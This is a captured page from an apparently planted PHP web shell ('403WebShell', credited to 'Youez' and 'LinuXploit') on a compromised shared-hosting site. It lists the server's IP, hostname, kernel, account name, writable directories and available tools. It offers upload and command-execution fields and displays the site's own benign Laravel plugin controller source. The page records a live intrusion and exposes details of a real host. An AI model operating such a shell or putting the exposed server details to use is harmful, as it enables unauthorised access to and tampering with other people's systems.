Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.14.134.195
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/modules/Core/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/modules/Core/Admin/PluginsController.php
<?php
namespace Modules\Core\Admin;

use Illuminate\Http\Request;
use Modules\AdminController;
use Modules\Core\Models\Plugins;

class PluginsController extends AdminController
{
    public function __construct()
    {
        parent::__construct();
        $this->setActiveMenu(route('core.admin.tool.index'));
    }

    public function index(Request $request)
    {
        $this->checkPermission('plugin_manage');
        $plugins = Plugins::getAllPlugins();
        $data = [
            'rows'               => $plugins,
            'breadcrumbs'        => [
                [
                    'name' => __('Plugins'),
                    'url'  => route('core.admin.plugins.index')
                ],
                [
                    'name'  => __('All'),
                    'class' => 'active'
                ],
            ],
            'page_title'=>__("Plugin Management")
        ];
        return view('Core::admin.plugins.index', $data);
    }

    public function bulkEdit(Request $request)
    {
        $this->checkPermission('plugin_manage');
        $ids = $request->input('ids');
        $action = $request->input('action');
        if (empty($ids) or !is_array($ids)) {
            return redirect()->back()->with('error', __('No items selected!'));
        }
        if (empty($action)) {
            return redirect()->back()->with('error', __('Please select an action!'));
        }
        switch ($action){
            case "active":
                Plugins::updateActivePlugins($ids);
                return redirect()->back()->with('success', __('Active success!'));
                break;
            case "deactivate":
                Plugins::updateDeactivatePlugins($ids);
                return redirect()->back()->with('success', __('Deactivate success!'));
                break;
            default:
                return redirect()->back()->with('success', __('Update success!'));
                break;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit